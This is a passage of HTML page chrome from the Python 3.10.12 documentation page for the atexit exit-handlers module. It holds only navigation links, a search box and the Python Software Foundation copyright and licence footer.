class="version_switcher_placeholder"></div> </li> <li> </li> <li id="cpython-language-and-version"> <a href="../index.html">3.10.12 Documentation</a> » </li> <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> »</li> <li class="nav-item nav-item-2"><a href="python.html" >Python Runtime Services</a> »</li> <li class="nav-item nav-item-this"><a href=""><code class="xref py py-mod docutils literal notranslate"><span class="pre">atexit</span></code> — Exit handlers</a></li> <li class="right"> <div class="inline-search" role="search"> <form class="inline-search" action="../search.html" method="get"> <input placeholder="Quick search" aria-label="Quick search" type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> </div> | </li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 2001-2026, Python Software Foundation. <br /> This page is licensed under the Python Software Foundation License Version 2. <br /> Examples, recipes, and other code in the documentation are additionally licensed under the Zero Clause BSD License. <br /> See <a href="/license.html">History and License</a> for more information.<br /> <br /> The Python Software Foundation is a non-profit corporation. <a href="https://www.python.org/psf/donations/">Please donate.</a> <br /> <br /> Last updated on January 26, 2026. <a href="/bugs.html">Found a bug</a>? <br /> Created using <a href="https://www.sphinx-doc.org/">Sphinx</a> 4.3.2. </div> </body> </html>
Close